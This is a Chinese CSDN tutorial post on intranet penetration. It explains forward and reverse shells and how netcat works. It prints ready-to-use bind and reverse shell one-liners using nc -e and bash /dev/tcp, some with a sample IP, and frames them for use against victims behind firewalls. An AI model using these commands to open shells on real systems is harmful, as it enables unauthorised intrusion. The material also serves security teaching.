内网渗透(二)——连接shell、NC网络数据传输

本文探讨了webshell的概念,重点介绍了正向shell和反向shell的区别与应用场景,特别是使用nc、bash和frp等工具进行数据传输和内网穿透的方法。同时强调了nc命令的局限性和注意事项,包括版本限制、操作系统兼容性及编码问题。
摘要由CSDN通过智能技术生成

一、连接shell

webshell的定义:web下的执行环境,shell是用于与操作系统进行交互的用户界面

  • 正向shell:控制端主动发起连接去连接被控制端(不稳定、容易被拦截)
  • 反向shell:被控制端主动连接控制端

在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,比如:硬件设备有防火墙、入侵检测系统、网站防火墙、端口被占用、权限不足等,一旦被防火墙拦截导致打草惊蛇、后期攻击相当繁琐。而被控制端主动向外发送的数据包通常都不会被拦截。

而正向不可⽤的情况:

  • 客户中了我的⽹⻢,他在内⽹
  • 由于防⽕墙的限制,⽬标只能出,不能⼊
  • 病毒、⽊⻢,受害者什么时候去执⾏、⽹络环境,未知的
  • 攻击者去连接我们的服务器

二、反向shell

1、工具:nc(netcat)

nc,也称为netcat,是一款功能强大的网络工具,可以在网络上进行数据传输。它支持TCP、UDP、UNIX域套接字等多种协议,可以用于测试和调试网络,以及在网络上传输文件等。由于nc的简单易用和灵活性,它被广泛用于网络安全、网络编程和系统管理等领域。nc则更注重网络数据传输和测试调试。

2、工具:bash(Linux特有的)

3、工具:frp

FRP是一款支持内网穿透的高性能反向代理工具,主要用于将内网服务映射到公网上,从而实现公网访问内网服务的功能。。FRP主要用于内网穿透和服务映射

三、正向shell

payload:

s:nc -lvvp 指定端口 -e /bin/bash

四、NC网络数据传输

⽹络⼯具中的瑞⼠军⼑,收发包

netcat / ncat (不是同一个命令):可以接受信息

原理:

Netcat的主要作用是在网络的两端建立一条数据传输通道。当我们执行Netcat命令时,它会先创建一个socket(套接字),然后通过指定的协议和地址来监听或连接到目标主机或端口。一旦建立连接,Netcat就可以读取或写入数据了。

Netcat的工作流程如下:

1. 创建socket:Netcat首先会创建一个socket,这个socket是一个与网络接口(网络适配器)通信的端点。这个socket可以是TCP、UDP、Unix域套接字等类型。

2. 指定协议和地址:通过命令行参数指定要使用的协议和地址,例如:`nc -l 8000` 将在本地监听8000端口,使用TCP协议。

3. 建立连接:如果是监听模式,Netcat将在指定端口上监听连接请求。如果是连接模式,Netcat将尝试与指定的远程主机和端口建立连接。

4. 读取或写入数据:一旦建立连接,Netcat就可以读取或写入数据了。如果是监听模式,Netcat将等待连接请求并读取连接客户端发送的数据。如果是连接模式,Netcat将向指定的远程主机和端口发送数据。

参数:

  • -l:listen 监听
  • -vv:详细信息
  • -p:port 端⼝
  • -n:以ip的形式去连接地址
  • -c|-e:执⾏命令(危险参数,在高版本Linux中被删除,改为ncat。如果需要,得特殊下载)

下载安装:

Linux:yum install nc

Windows:https://eternallybored.org/misc/netcat/

payload:

s(service):

nc -lvvp 指定端口 #vps监听,详细监听端口下的信息

c(client):

(Linux)nc -e /bin/bash sip地址 指定端口

(不是所以的Linux都有/bin/bash,但是基本上都有/bin/sh)

(Windows)nc 192.168.19.134 55555 -e cmd.exe

(但是无法反弹shell,只能进行上传nc.exe,在nc中进行反弹)

bash(若没有nc,则可以使用Linux自带的bash)

Payload:

s:nc -lvvp 指定端口 #vps监听

c:/bin/bash -i>& /dev/tcp/sip地址/指定端口 0>&1 #被控端反弹(kali不行,没有这个目录)

注意:

1、因为nc这个操作简单,所以较新的版本的Ubuntu和centos删除了nc的-e参数

2、NC命令的使用可能受到操作系统、版本等方面的限制,需要注意使用

3、NC传输的文件必须是在同一种操作系统之间进行传输,不同操作系统之间的NC传输可能存在诸多问题

4、NC传输的文件必须是同一种编码格式,否则可能出现乱码。

  • 27
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值